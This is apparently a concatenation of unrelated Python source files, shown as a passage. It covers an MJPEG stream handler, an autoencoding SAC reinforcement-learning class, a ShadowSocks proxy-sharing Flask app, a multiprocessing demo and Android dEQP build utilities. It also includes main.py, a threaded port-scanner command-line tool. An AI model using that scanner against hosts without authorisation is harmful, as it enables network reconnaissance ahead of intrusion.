\ "Content-Type: multipart/x-mixed-replace; boundary=myboundary\r\n\r\n" # Print sending response #print(response) # Send header c.send(bytes(response, "UTF-8")) # While module run, send images to remote client while self.run: # Read image from queue try: block = q.get(True, 0.5) except queue.Empty: continue # Create image header to client response response = "--myboundary\r\n" \ "X-TimeStamp: " + str(block[0]) + "\r\n" \ "Content-Type: " + self.content_type + "\r\n" \ "Content-Length: " + str(len(block[1])) + "\r\n\r\n" # Print multipart response #print (response) # Try to send data until socket is valid try: c.send(bytes(response, "UTF-8")) except socket.error as e: print(e, flush=True) break # Try to send data until socket is valid try: c.send(block[1]) except socket.error as e: print(e, flush=True) break #Remove Id from queue self.queue_list.remove(q) # Close connection c.close() print('Client handler closed')
AutoencodingSAC2.py
from stable_baselines3 import SAC from typing import Union, Optional, Any, Dict, Tuple, List, Iterable, Type import torch as th from stable_baselines3.common.off_policy_algorithm import OffPolicyAlgorithm from torch.nn import functional as F from stable_baselines3.common.utils import polyak_update from stable_baselines3.common import logger import numpy as np from stable_baselines3.common.buffers import ReplayBuffer import gym import time import pathlib import io import os import pickle from stable_baselines3.common.noise import ActionNoise from stable_baselines3.common.type_aliases import GymEnv, MaybeCallback from stable_baselines3.common.base_class import BaseAlgorithm from stable_baselines3.common.callbacks import CallbackList import stable_baselines3 from autoencoding_rl.latent_extractors.LatentExtractor import LatentExtractor from autoencoding_rl.utils import AutoencodingSAC_VideoSaver, replay_data2transition_batch import lr_gym.utils.dbg.ggLog as ggLog import lr_gym.utils.dbg.dbg_img as dbg_img from autoencoding_rl.utils import tensorToCvImageRgb, ObsConverter from autoencoding_rl.DecoupledExtractorPolicy import DecoupledExtractor, DecoupledExtractorPolicy import autoencoding_rl import autoencoding_rl.train_helpers from autoencoding_rl.ReplayBuffer_updatable import DictReplayBuffer_updatable from autoencoding_rl.ReplayBuffer_updatable import ReplayBuffer_updatable import threading import lr_gym.utils # from operator import contains, itemgetter # from pympler import tracker, muppy, refbrowser # import gc class AutoencodingSAC2(SAC): def __init__( self, env: GymEnv, policy = DecoupledExtractorPolicy, learning_rate: Union[float] = 3e-4, buffer_size: int = int(1e6), learning_starts: int = 1000, batch_size: int = 256, tau: float = 0.005, gamma: float = 0.99, train_freq: int = 1, gradient_steps: int = 1, action_noise: Optional[ActionNoise] = None, optimize_memory_usage: bool = False, ent_coef: Union[str, float] = "auto", target_update_interval: int = 1, target_entropy: Union[str, float] = "auto", use_sde: bool = False, sde_sample_freq: int = -1, use_sde_at_warmup: bool = False, tensorboard_log: Optional[str] = None, create_eval_env: bool = False, policy_kwargs: Dict[str, Any] = None, verbose: int = 0, seed: Optional[int] = None, device: Union[th.device, str] = "auto", _init_setup_model: bool = True, feature_extractor_batch_size : int = 64, feature_extractor_retrain_epochs : int = 100, feature_extractor_grad_steps : int = 100, feature_extractor_train_period : Union[int,str] = "episode", feature_extractor_retrain_period : int = 30000, feature_extractor_retrain_grad_steps : int = int(10000/64), feature_extractor_pretrain_grad_steps : int = int(1000/64), debug : bool = True, parallelize_experience_collection : bool = True, automatic_grad_steps : bool = False): if policy_kwargs is None: policy_kwargs = {} if policy != DecoupledExtractorPolicy: raise AttributeError("Only DecoupledExtractorPolicy is supported") self._feature_extractor_batch_size = feature_extractor_batch_size self._feature_extractor_retrain_epochs = feature_extractor_retrain_epochs self._feature_extractor_grad_steps = feature_extractor_grad_steps self._feature_extractor_train_period = feature_extractor_train_period self._feature_extractor_retrain_period = feature_extractor_retrain_period self._feature_extractor_retrain_grad_steps = feature_extractor_retrain_grad_steps self._feature_extractor_pretrain_grad_steps = feature_extractor_pretrain_grad_steps self._lastretraining = float("-inf") self._debug_mode = debug self.s2s_thimgs = [] self._keep_s2s_imgs = False self._parallelize_experience_collection = parallelize_experience_collection self._predictDurationAverage =lr_gym.utils.utils.AverageKeeper(bufferSize = 100) self._automatic_grad_steps = automatic_grad_steps super().__init__( policy=policy, env=env, learning_rate=learning_rate, buffer_size=buffer_size, learning_starts=learning_starts, batch_size=batch_size, tau=tau, gamma=gamma, train_freq=train_freq, gradient_steps=gradient_steps, #n_episodes_rollout=n_episodes_rollout, action_noise=action_noise, optimize_memory_usage=optimize_memory_usage, ent_coef=ent_coef, target_update_interval=target_update_interval, target_entropy=target_entropy, use_sde=use_sde, sde_sample_freq=sde_sample_freq, use_sde_at_warmup=use_sde_at_warmup, tensorboard_log=tensorboard_log, create_eval_env=create_eval_env, policy_kwargs=policy_kwargs, verbose=verbose, seed=seed, device=device, _init_setup_model=_init_setup_model) def _setup_model(self) -> None: if isinstance(self.observation_space, gym.spaces.Dict): self.replay_buffer_class = DictReplayBuffer_updatable else: self.replay_buffer_class = ReplayBuffer_updatable super()._setup_model() def learn( self, total_timesteps: int, callback: MaybeCallback = None, log_interval: int = 4, eval_env: Optional[GymEnv] = None, eval_freq: int = -1, n_eval_episodes: int = 5, tb_log_name: str = "run", eval_log_path: Optional[str] = None, reset_num_timesteps: bool = True) -> "OffPolicyAlgorithm": """[summary] Returns ------- [type] [description] Raises ------ AttributeError [description] """ total_timesteps, callback = self._setup_learn( total_timesteps, eval_env, callback, eval_freq, n_eval_episodes, eval_log_path, reset_num_timesteps, tb_log_name ) callback.on_training_start(locals(), globals()) if (isinstance(callback, AutoencodingSAC_VideoSaver) or (isinstance(callback, Iterable) and any([isinstance(cb,AutoencodingSAC_VideoSaver) for cb in callback])) or (isinstance(callback, CallbackList) and any([isinstance(cb,AutoencodingSAC_VideoSaver) for cb in callback.callbacks]))): self._keep_s2s_imgs = True # produce debug images self.last_collected_rollout = None # collections_counter = 0 while self.num_timesteps < total_timesteps: # ggLog.info(f"num_timesteps = {self.num_timesteps}") t0 = time.monotonic() collection_done = threading.Event() collection_done.clear() if self._parallelize_experience_collection: blobs = (io.BytesIO(),io.BytesIO(),io.BytesIO(),io.BytesIO()) self.save(blobs) for b in blobs: b.seek(0) collector_model = AutoencodingSAC2.load(blobs, custom_objects={"buffer_size":1000, "seed" : None}) #TODO: choose a suitable buffer size depending on train_freq for b in blobs: b.close() collected_rollout = None current_cuda_device = th.cuda.current_device() t0_collection = time.monotonic() tf_collection = 0 def collect(): th.cuda.set_device(current_cuda_device) nonlocal collected_rollout nonlocal tf_collection nopCallback = CallbackList([]) collector_model.set_env(self.env) collector_model._setup_learn(total_timesteps, eval_env, nopCallback, eval_freq, n_eval_episodes, eval_log_path, False, tb_log_name) collector_model.start_time = self.start_time collected_rollout = collector_model.collect_rollouts( self.env, train_freq=collector_model.train_freq, action_noise=collector_model.action_noise, callback=nopCallback, learning_starts=collector_model.learning_starts, replay_buffer=collector_model.replay_buffer, log_interval=log_interval, ) collection_done.set() tf_collection = time.monotonic() # dur_collection = tf_collection-t0_collection callback._on_rollout_start() collectionThread = threading.Thread(target=collect) collectionThread.start() else: t0_collection = time.monotonic() collected_rollout = self.collect_rollouts(self.env, train_freq=self.train_freq, action_noise=self.action_noise, callback=callback, learning_starts=self.learning_starts, replay_buffer=self.replay_buffer, log_interval=log_interval) collection_done.set() tf_collection = time.monotonic() dur_collection = tf_collection-t0_collection #print(f"Collected {rollout.episode_timesteps} steps in {dur_collection}s ({rollout.episode_timesteps/(tf_collection-t0_collection)}fps)") dur_aeTrain = 0 dur_policyTrain = 0 training_iterations = 0 ae_grad_steps_done = 0 policy_grad_steps_done = 0 if self.num_timesteps > 0 and self.num_timesteps >= self.learning_starts: #Perform autoencoder re-training (reset weights and do a few epochs) if ((self._feature_extractor_retrain_period > 0 and (self.num_timesteps - self._lastretraining) > self._feature_extractor_retrain_period) or (self._feature_extractor_retrain_period <= 0 and self.num_timesteps >= self.learning_starts and self._lastretraining < 0)): if self._lastretraining < 0: #if never did a retraining grad_steps_per_epoch = self._feature_extractor_pretrain_grad_steps else: grad_steps_per_epoch = self._feature_extractor_retrain_grad_steps self._lastretraining = self.num_timesteps - (self.num_timesteps % self._feature_extractor_retrain_period) autoencoding_rl.train_helpers.retrainFeatureExtractor( epochs = self._feature_extractor_retrain_epochs, grad_steps_per_epoch = grad_steps_per_epoch, log_id = f"retrain{self._lastretraining}_", latent_extractor=self.policy.actor.features_extractor.latent_extractor[0], batch_size = self._feature_extractor_batch_size, replayBuffer = self.replay_buffer, env = self._vec_normalize_env) while training_iterations == 0 or (self._automatic_grad_steps and not collection_done.is_set()): #Perform autoencoder training (just a few gradient steps) t0_aeTrain = time.monotonic() autoenc_grad_steps = 0 if self.num_timesteps > self.learning_starts: if type(self._feature_extractor_train_period)==int: if self.num_timesteps % self._feature_extractor_train_period == 0: autoenc_grad_steps = self._feature_extractor_grad_steps elif (type(self._feature_extractor_train_period)==str and self._feature_extractor_train_period == "episode"): if self.last_collected_rollout is not None: autoenc_grad_steps = self.last_collected_rollout.n_episodes * self._feature_extractor_grad_steps else: raise AttributeError("Invalid autoencoder training period '"+str(self._feature_extractor_train_period)+"'") if autoenc_grad_steps != 0: autoencoding_rl.train_helpers.trainFeatureExtractor(grad_steps = autoenc_grad_steps, latent_extractor=self.policy.actor.features_extractor.latent_extractor[0], batch_size = self._feature_extractor_batch_size, replayBuffer = self.replay_buffer, env = self._vec_normalize_env) ae_grad_steps_done += autoenc_grad_steps dur_aeTrain += time.monotonic() - t0_aeTrain t0_policyTrain = time.monotonic() policy_gradient_steps = 0 if self.num_timesteps > self.learning_starts: if self.gradient_steps > 0: policy_gradient_steps = self.gradient_steps elif self.last_collected_rollout is not None: policy_gradient_steps = self.last_collected_rollout.episode_timesteps else: policy_gradient_steps = 0 if policy_gradient_steps != 0: self.train(batch_size=self.batch_size, gradient_steps=policy_gradient_steps) policy_grad_steps_done += policy_gradient_steps dur_policyTrain += time.monotonic()-t0_policyTrain # ggLog.info(f"SAC training: performed {gradient_steps} grad steps with batch_size {self.batch_size} in {dur_policyTrain}s") training_iterations+=1 if self._parallelize_experience_collection: collectionThread.join() dur_collection = tf_collection-t0_collection collected_steps = collector_model.replay_buffer.size() # ggLog.info(f"Got {collected_steps} transitions from collector thread") # prevSize = self.replay_buffer.size() self.replay_buffer.update(collector_model.replay_buffer) # sizeInc = self.replay_buffer.size() - prevSize # ggLog.info(f"Replay buffer grew of {sizeInc} to {self.replay_buffer.size()}") self.last_collected_rollout = collected_rollout self.num_timesteps = collector_model.num_timesteps self._episode_num = collector_model._episode_num self._last_obs = collector_model._last_obs self.s2s_thimgs = collector_model.s2s_thimgs callback._on_rollout_end() else: self.last_collected_rollout = collected_rollout collected_steps = collected_rollout.episode_timesteps tf = time.monotonic() ttot = float(tf-t0) #print(f"collection = {dur_collection/tot*100:3.3f}% \t autoenc = {dur_autoencOpt/tot*100:3.3f}% \t dur_policyTrain = {dur_policyTrain/tot*100:3.3f}%") ggLog.info(f"ASAC: {collected_steps} steps in {ttot:.2f}s, fps = {collected_steps/ttot:.2f}. sac_train={dur_policyTrain:.2f}s ({policy_grad_steps_done} steps), ae_train={dur_aeTrain:.2f} ({ae_grad_steps_done} steps),, collection={dur_collection:.2f}s, predict_avg_duration={self._predictDurationAverage.getAverage()}") # collections_counter += 1 # collectionThread = None # collector_model = None # if collections_counter%200 == 0: # topMemClasses = sorted(mem.create_summary(), reverse=True, key=itemgetter(2))[:10] # topMemClasses_str = "" # for tc in topMemClasses: # # tc[2] = str(tc[2]/1024/1024)+"MB" # topMemClasses_str += str(tc)+"\n" # ggLog.info(f"Top memory users (class, #objects, bytes):\n {topMemClasses_str}") # ndarrs = list(filter(lambda x : type(x) == np.ndarray, muppy.get_objects())) # top10_ndarrs = list(reversed(muppy.sort(ndarrs)[-100:])) # ggLog.info(f"Top 100 ndarrays sizes: {[a.shape for a in top10_ndarrs]}") # ndarr_by_shape = {} # for ndarr in ndarrs: # if ndarr.shape not in ndarr_by_shape: # ndarr_by_shape[ndarr.shape] = 0 # ndarr_by_shape[ndarr.shape]+=1 # ndarr_by_shape_str = "" # for s in ndarr_by_shape: # ndarr_by_shape_str += f"{s} : {ndarr_by_shape[s]} \n" # ggLog.info(f"ndarr_by_shape_str = {ndarr_by_shape_str}") # asacs = list(filter(lambda x : type(x) == AutoencodingSAC2, muppy.get_objects())) # ggLog.info(f"len(asacs) = : {len(asacs)}") # top10_ndarrs = None # topMemClasses = None # ndarrs = None # ndarr_by_shape = None # # mem.print_diff() # # for asac in asacs: # # ggLog.info("getting refs...") # # cb = refbrowser.ConsoleBrowser(asac, maxdepth=4, str_func=lambda x : str(type(x))) # # cb.print_tree() # # ggLog.info("got refs.") # # asacs = None # # gc.collect() # # myvars = vars() # # for v in myvars: # # if type(v) == np.ndarray: # # ggLog.info(f"ndarray {v} has shape {myvars[v].shape}") # # if isinstance(v,Iterable): # # for v1 in myvars: # # if type(v) == np.ndarray: # # ggLog.info(f"ndarray {v}.{v1} has shape {myvars[v].shape}") if self.last_collected_rollout.continue_training is False: break callback.on_training_end() return self def offlineTrain(self): total_timesteps = 1000000000 callback = None eval_env = None eval_freq = -1 n_eval_episodes = 5 tb_log_name = "run" eval_log_path = None reset_num_timesteps = False # total_timesteps, callback = self._setup_learn( # total_timesteps, eval_env, callback, eval_freq, n_eval_episodes, eval_log_path, reset_num_timesteps, tb_log_name # ) self._logger = stable_baselines3.common.utils.configure_logger(self.verbose, self.tensorboard_log, tb_log_name, reset_num_timesteps) t0_aeTrain = time.monotonic() autoencoding_rl.train_helpers.trainFeatureExtractor(grad_steps = self._feature_extractor_grad_steps, latent_extractor=self.policy.actor.features_extractor.latent_extractor[0], batch_size = self._feature_extractor_batch_size, replayBuffer = self.replay_buffer, env = self._vec_normalize_env) dur_aeTrain = time.monotonic() - t0_aeTrain t0_policyTrain = time.monotonic() self.train(batch_size=self.batch_size, gradient_steps=self.gradient_steps) dur_policyTrain = time.monotonic()-t0_policyTrain ggLog.info(f"ASAC offline train: sac_train={dur_policyTrain:.2f}s ({self.gradient_steps} steps, {self.gradient_steps/dur_policyTrain:.2f} fps), ae_train={dur_aeTrain:.2f} ({self._feature_extractor_grad_steps} steps, {self._feature_extractor_grad_steps/dur_aeTrain:.2f} fps)") def _imgFromObs(self, observation): if isinstance(observation, th.Tensor): img = observation[0] elif isinstance(observation, dict): for obs_name, obs in observation.items(): dims = len(obs.size()) if dims==3 or dims==4: img = obs[0] return img def predict( self, observation: np.ndarray, state: Optional[np.ndarray] = None, mask: Optional[np.ndarray] = None, deterministic: bool = False ) -> Tuple[np.ndarray, Optional[np.ndarray]]: """ Get the model's action(s) from an observation :param observation: the input observation :param state: The last states (can be None, used in recurrent policies) :param mask: The last masks (can be None, used in recurrent policies) :param deterministic: Whether or not to return deterministic actions. :return: the model's action and the next state (used in recurrent policies) """ t0 = time.monotonic() # ggLog.info("self._keep_s2s_imgs = {self._keep_s2s_imgs}") action, state = self.policy.predict(observation, state, mask, deterministic) if (self._debug_mode and self._keep_s2s_imgs or (dbg_img.helper.num_subscribers("img_encdec") > 0 or dbg_img.helper.num_subscribers("img_s2s")>0)): thAct_batch = th.as_tensor(action).to(self.device) if len(thAct_batch.size())!=2: thAct_batch = thAct_batch.unsqueeze(0) #Convert to tensors and unsqueeze if necessary if isinstance(observation, th.Tensor) or isinstance(observation, np.ndarray): thObservation_batch = th.as_tensor(observation).to(self.device) if len(thObservation_batch.size())!=4: thObservation_batch = thObservation_batch.unsqueeze(0) elif isinstance(observation, dict): thObservation_batch = {} imgObsKey = None for obs_name, obs in observation.items(): thObs = th.as_tensor(obs).to(self.device) dims = len(thObs.size()) if dims==3: #Assume it is a single multi-channel image thObs = thObs.unsqueeze(0) # make it a batch if dims==1: #Assume it is a single vector thObs = thObs.unsqueeze(0) # make it a batch thObservation_batch[obs_name] = thObs else: raise AttributeError(f"Unsupported observation type {type(observation)}") # ggLog.info("thObservation_batch.size()="+str(thObservation_batch.size())) encodedImg_batch = self.policy.actor.features_extractor.latent_extractor[0].extractFeatures(thObservation_batch) # ggLog.info("encodedImg.size()="+str(encodedImg_batch.size())) decodedImg_batch = self.policy.actor.features_extractor.latent_extractor[0].decode(encodedImg_batch, thAct_batch.to(encodedImg_batch.device)) # if type(decodedImg_batch)==dict: # for k in decodedImg_batch.keys(): # ggLog.info(f"decodedImg[{k}].shape()="+str(decodedImg_batch[k].size())) # else: # ggLog.info(f"decodedImg.shape()="+str(decodedImg_batch.size())) thimg_encdec = self._imgFromObs(decodedImg_batch) prepost_obs = self._imgFromObs(self.policy.actor.features_extractor.latent_extractor[0].preAndPostProcess(thObservation_batch)) divider = th.zeros(size=(prepost_obs.size()[0],prepost_obs.size()[1],2), device=prepost_obs.device) # A 2px black line between the two images (2px to keep the width even) thimg_side2side = th.cat((prepost_obs, divider, thimg_encdec), dim=2) # ggLog.info(f"thimg_side2side.size() = {thimg_side2side.size()}") if dbg_img.helper.num_subscribers("img_s2s") > 0: dbg_img.helper.publishDbgImg("img_s2s", tensorToCvImageRgb(thimg_side2side)) if dbg_img.helper.num_subscribers("img_encdec") > 0: dbg_img.helper.publishDbgImg("img_encdec", tensorToCvImageRgb(thimg_encdec)) if self._keep_s2s_imgs: self.s2s_thimgs.append(thimg_side2side) if len(self.s2s_thimgs) > 10000: ggLog.warn(f"s2s_thimgs has {len(self.s2s_thimgs)} frames. Something may be wrong.") self._dbg_last_img_side2side_torch = thimg_side2side # ggLog.info("Predict said "+str(ret)) tf = time.monotonic() self._predictDurationAverage.addValue(newValue=tf-t0) # ggLog.debug(f"Predict took {tf-t0}s") return action, state @classmethod def load( cls, path: Union[str, pathlib.Path, Tuple[io.BufferedIOBase,io.BufferedIOBase,io.BufferedIOBase,io.BufferedIOBase]], env: Optional[GymEnv] = None, device: Union[th.device, str] = "auto", custom_objects: Optional[Dict[str, Any]] = None, fe_logfolder : str = None, **kwargs, ) -> "BaseAlgorithm": """ Load the model from a zip-file :param path: path to the file (or a file-like) where to load the agent from :param env: the new environment to run the loaded model on (can be None if you only need prediction from a trained model) has priority over any saved environment :param device: Device on which the code should run. :param custom_objects: Dictionary of objects to replace upon loading. If a variable is present in this dictionary as a key, it will not be deserialized and the corresponding item will be used instead. Similar to custom_objects in ``keras.models.load_model``. Useful when you have an object in file that can not be deserialized. :param kwargs: extra arguments to change the model when loading """ if isinstance(path,tuple): if len(path)!=4: raise AttributeError("If you want to load from a tuple of BufferedIOBase you must pass a 4-tuple, as (sac_in,feature_in,th_rng_state_in,np_rng_state_in)") sac_in = path[0] fe_in = path[1] th_rng_in = path[2] np_rng_in = path[3] # ggLog.info(f"fe_in is {fe_in.getbuffer().nbytes}b, sac_in is {sac_in.getbuffer().nbytes}b, tot = {fe_in.getbuffer().nbytes + sac_in.getbuffer().nbytes}b = {(fe_in.getbuffer().nbytes + sac_in.getbuffer().nbytes)/1024/1024}MB") else: sac_in = path fe_in = os.path.dirname(path)+"/features_extractor_"+os.path.basename(path) th_rng_in = os.path.dirname(path)+"/rng_state_"+os.path.basename(path) np_rng_in = os.path.dirname(path)+"/np_rng_state_"+os.path.basename(path) model = super().load(sac_in,env,device,custom_objects,**kwargs) model.policy.actor.features_extractor.latent_extractor[0].load_state_dict(th.load(fe_in)) if fe_logfolder is not None: model.policy.actor.features_extractor.latent_extractor[0].dbgOutFolder = fe_logfolder if isinstance(th_rng_in,io.BufferedIOBase) or os.path.exists(th_rng_in): # TODO: remove in future th.random.set_rng_state(th.load(th_rng_in)) else: ggLog.warn(f"AutoencodingSAC: No th rng state file found at {th_rng_in}, will not load the random number generator state.") if isinstance(np_rng_in,io.BufferedIOBase) or os.path.exists(np_rng_in): # TODO: remove in future if isinstance(np_rng_in,str): with open(np_rng_in,"rb") as np_rng_in_f: np.random.set_state(pickle.load(np_rng_in_f)) else: np.random.set_state(pickle.load(np_rng_in)) else: ggLog.warn(f"AutoencodingSAC: No np rng state file found at {np_rng_in}, will not load the random number generator state.") return model def save(self, path: Union[str, pathlib.Path, Tuple[io.BufferedIOBase,io.BufferedIOBase,io.BufferedIOBase,io.BufferedIOBase]], exclude: Optional[Iterable[str]] = None, include: Optional[Iterable[str]] = None) -> None: if isinstance(path,tuple): if len(path)!=4: raise AttributeError("If you want to save to a tuple of BufferedIOBase you must pass a 4-tuple, as (sac_out,feature_extractor_out,th_rng_state_out,np_rng_state_out)") sac_out = path[0] fe_out = path[1] th_rng_out = path[2] np_rng_out = path[3] else: sac_out = path fe_out = os.path.dirname(path)+"/features_extractor_"+os.path.basename(path)+".zip" th_rng_out = os.path.dirname(path)+"/rng_state_"+os.path.basename(path)+".zip" np_rng_out = os.path.dirname(path)+"/np_rng_state_"+os.path.basename(path)+".zip" super().save(sac_out, exclude, include) th.save(self.policy.actor.features_extractor.latent_extractor[0].state_dict(), fe_out) th.save(th.random.get_rng_state(),th_rng_out) if isinstance(np_rng_out,str): with open(np_rng_out,"wb") as np_rng_out_f: pickle.dump(np.random.get_state(),np_rng_out_f) else: pickle.dump(np.random.get_state(),np_rng_out) def _excluded_save_params(self) -> List[str]: return super()._excluded_save_params() + ["policy.actor.features_extractor", "policy.critic.features_extractor", "s2s_thimgs"]
main.py
import socket from queue import Queue from threading import Thread from os import cpu_count from socket import SOCK_DGRAM, SOCK_STREAM, AF_INET, AF_INET6 from click import argument, group, option from .logo import draw_logo from .pprinter import p_print from .Target import Target # Attempt Socket connection. def connect(q: Target): while not q.ports.empty(): # Current queued port. port = q.ports.get() # Create socket object. soc = socket.socket() # Connect. con = soc.connect_ex((q.address, port)) # Add to results list if port is open. if con == 0: q.results.append(port) # Close connection. soc.close() # Task done for queue. q.ports.task_done() @group(invoke_without_command=True) @option("-i", default=False, is_flag=True, help="Is IPv6?") @option("-u", default=False, is_flag=True, help="Is UDP?") @option("-p", default=False, is_flag=True, help="Try all ports? (1 - 65353)") @argument('address', default="127.0.0.1") def cli(address: str, i: bool, u: bool, p: bool): # Max threads. CPU_THREADS = cpu_count() + 4 # Print logo. draw_logo() ip_fam = AF_INET soc_type = SOCK_STREAM port_range = 1000 if i: ip_fam = AF_INET6 if u: soc_type = SOCK_DGRAM if p: port_range = 65353 # Build port range queue. q = Queue(port_range) for i in range(1, port_range): q.put(i) # Create target. target = Target(address = socket.gethostbyname(address), ports=q, results=[], soc_type=soc_type, ip_fam=ip_fam) for i in range(CPU_THREADS): worker: Thread = Thread(target=connect, args=(target, )) worker.setDaemon(True) worker.start() # Join queue. q.join() # Print results. p_print(target.results) pass
process_queue.py
from multiprocessing import Process, Value, Array, Lock, Queue import time def square(numbers, queue): for i in numbers: queue.put(i*i) def make_negative(numbers, queue): for i in numbers: queue.put(-1*i) if __name__ == '__main__': q = Queue() numbers = range(1, 6) p1 = Process(target=square, args=(numbers, q)) p2 = Process(target=make_negative, args=(numbers, q)) p1.start() p2.start() p1.join() p2.join() while not q.empty(): print(q.get())
views.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import base64 import random import logging import time import threading import os from ssshare import app from ssshare.ascii import birthday_2017, ss_title from ssshare.ss import crawler from ssshare import donation from flask import render_template, send_from_directory, abort from apscheduler.schedulers.background import BackgroundScheduler # Config for disqus comment board DOMAIN = 'http://ss.pythonic.life' DISQUS_IDENTIFIER = 'shadowsocksshare' servers = [{'data': [], 'info': {'message': '爬虫正在努力工作,十分钟后再回来吧:)', 'url': 'https://github.com/deepinor/ShadowSocksShare', 'name': '项目地址'}}] curtime = time.ctime() encoded = '' full_encoded = '' jsons = list() full_jsons = list() scheduler = BackgroundScheduler() def update_servers(): try: # servers global servers servers = crawler.main() # subscription global encoded global full_encoded global jsons global full_jsons jsons = list() decoded = list() full_decoded = list() for website in servers: for server in website['data']: full_decoded.append(server['ssr_uri']) full_jsons.append(server['json']) if server['status'] > 0: decoded.append(server['ssr_uri']) jsons.append(server['json']) decoded = '\n'.join(decoded) encoded = base64.urlsafe_b64encode(bytes(decoded, 'utf-8')) full_decoded = '\n'.join(full_decoded) full_encoded = base64.urlsafe_b64encode(bytes(full_decoded, 'utf-8')) time.sleep(7200) except Exception as e: logging.exception(e, stack_info=True) # counter_path = os.path.expanduser('/tmp/counter') counter_path = 'memory' count = 0 def counter(counter_path=counter_path, update=True): if update: if counter_path == 'memory': global count count += 1 else: if not os.path.exists(os.path.split(counter_path)[0]): os.makedirs(os.path.split(counter_path)[0]) if not os.path.exists(counter_path): open(counter_path, 'w').write('0') count = int(open(counter_path).readline()) open(counter_path, 'w').write(str(count + 1)) return count @app.route('/') def index(): try: return render_template( 'index.html', servers=servers, ss=ss_title[random.randint(0, len(ss_title) - 1)], counter=counter(), ctime=curtime, PAGE_URL=DOMAIN + '/', PAGE_IDENTIFIER='shadowsocksshare' ) except Exception as e: logging.exception(e, stack_info=True) @app.route('/full') def full(): try: return render_template( 'full.html', servers=servers, ss=ss_title[random.randint(0, len(ss_title) - 1)], counter=counter(), ctime=curtime, ) except Exception as e: logging.exception(e, stack_info=True) @app.route('/<string:path>') def pages(path): print(path) try: a, b = path.split('-') a, b = int(a), int(b) except Exception: abort(404) if a >= len(servers): abort(404) elif b >= len(servers[a]['data']): abort(404) try: uri = servers[a]['data'][b].get('decoded_url', '') remarks = servers[a]['data'][b].get('remarks', 'None') server = servers[a]['data'][b].get('server', 'None') server_port = servers[a]['data'][b].get('server_port', 'None') password = servers[a]['data'][b].get('password', 'None') method = servers[a]['data'][b].get('method', 'None') ssr_protocol = servers[a]['data'][b].get('ssr_protocol', 'None') obfs = servers[a]['data'][b].get('obfs', 'None') href = servers[a]['data'][b].get('href', 'None') json = servers[a]['data'][b].get('json', 'None') obfsparam = servers[a]['data'][b].get('obfsparam', 'None') protoparam = servers[a]['data'][b].get('protoparam', 'None') status = servers[a]['data'][b].get('status', 'None') content = servers[a]['data'][b].get('content', 'None') return render_template( 'pages.html', uri=uri, server=server, server_port=server_port, password=password, method=method, ssr_protocol=ssr_protocol, obfs=obfs, href=href, remarks=remarks, counter=counter(), server_data=servers[a]['data'][b], json=json, obfsparam=obfsparam, protoparam=protoparam, status=status, content=content, ) except Exception as e: logging.exception(e, stack_info=True) @app.route('/html/<path:path>') def static_html(path): try: return render_template(path, ) except Exception as e: logging.exception(e) abort(404) @app.route('/donation') def html_donation(): try: return render_template( 'donate.html', data=donation.data, sum_people=donation.sum_people, sum_money=donation.sum_money, ) except Exception as e: logging.exception(e) abort(404) @app.route('/subscribe') def subscribe(): counter('', False) return encoded @app.route('/full/subscribe') def full_subscribe(): counter('', False) return full_encoded @app.route('/json') def subscribe_json(): counter('', False) return '{}' if len(jsons) == 0 else random.sample(jsons, 1)[0] @app.route('/full/json') def full_subscribe_json(): counter('', False) return '{}' if len(jsons) == 0 else random.sample(full_jsons, 1)[0] @app.route('/js/<path:path>') def send_jsadfsadfs(path): return send_from_directory('js', path) @app.route('/static/<path:path>') def send_static(path): return send_from_directory('static', path) @app.route('/favicon.ico') def send_favicon(): return send_from_directory('static', 'favicon.ico') @app.errorhandler(404) def page_not_found(e): return render_template('404.html', ), 404 @app.route('/gift') def gift(): return birthday_2017 def start(): update_thread = threading.Thread(target=update_servers) scheduler.add_job(update_servers, "cron", minute=random.randint(1, 15), second=random.randint(0, 59)) update_thread.start() scheduler.start()
common.py
# -*- coding: utf-8 -*- #------------------------------------------------------------------------- # drawElements Quality Program utilities # -------------------------------------- # # Copyright 2015 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # #------------------------------------------------------------------------- import os import re import sys import shlex import subprocess import multiprocessing import string try: import threading except ImportError: import dummy_threading as threading class NativeLib: def __init__ (self, apiVersion, abiVersion, prebuiltDir): self.apiVersion = apiVersion self.abiVersion = abiVersion self.prebuiltDir = prebuiltDir def __str__ (self): return "(API: %s, ABI: %s)" % (self.apiVersion, self.abiVersion) def __repr__ (self): return "(API: %s, ABI: %s)" % (self.apiVersion, self.abiVersion) def getPlatform (): if sys.platform.startswith('linux'): return 'linux' else: return sys.platform def selectByOS (variants): platform = getPlatform() if platform in variants: return variants[platform] elif 'other' in variants: return variants['other'] else: raise Exception("No configuration for '%s'" % platform) def isExecutable (path): return os.path.isfile(path) and os.access(path, os.X_OK) def which (binName): for path in os.environ['PATH'].split(os.pathsep): path = path.strip('"') fullPath = os.path.join(path, binName) if isExecutable(fullPath): return fullPath return None def isBinaryInPath (binName): return which(binName) != None def selectFirstExistingBinary (filenames): for filename in filenames: if filename != None and isExecutable(filename): return filename return None def selectFirstExistingDir (paths): for path in paths: if path != None and os.path.isdir(path): return path return None def die (msg): print msg exit(-1) def shellquote(s): return '"%s"' % s.replace('\\', '\\\\').replace('"', '\"').replace('$', '\$').replace('`', '\`') def execute (commandLine): args = shlex.split(commandLine) retcode = subprocess.call(args) if retcode != 0: raise Exception("Failed to execute '%s', got %d" % (commandLine, retcode)) def execArgs (args): # Make sure previous stdout prints have been written out. sys.stdout.flush() retcode = subprocess.call(args) if retcode != 0: raise Exception("Failed to execute '%s', got %d" % (str(args), retcode)) def execArgsInDirectory (args, cwd, linePrefix="", failOnNonZeroExit=True): def readApplyPrefixAndPrint (source, prefix, sink): while True: line = source.readline() if len(line) == 0: # EOF break; sink.write(prefix + line) process = subprocess.Popen(args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdoutJob = threading.Thread(target=readApplyPrefixAndPrint, args=(process.stdout, linePrefix, sys.stdout)) stderrJob = threading.Thread(target=readApplyPrefixAndPrint, args=(process.stderr, linePrefix, sys.stderr)) stdoutJob.start() stderrJob.start() retcode = process.wait() if failOnNonZeroExit and retcode != 0: raise Exception("Failed to execute '%s', got %d" % (str(args), retcode)) def serialApply(f, argsList): for args in argsList: f(*args) def parallelApply(f, 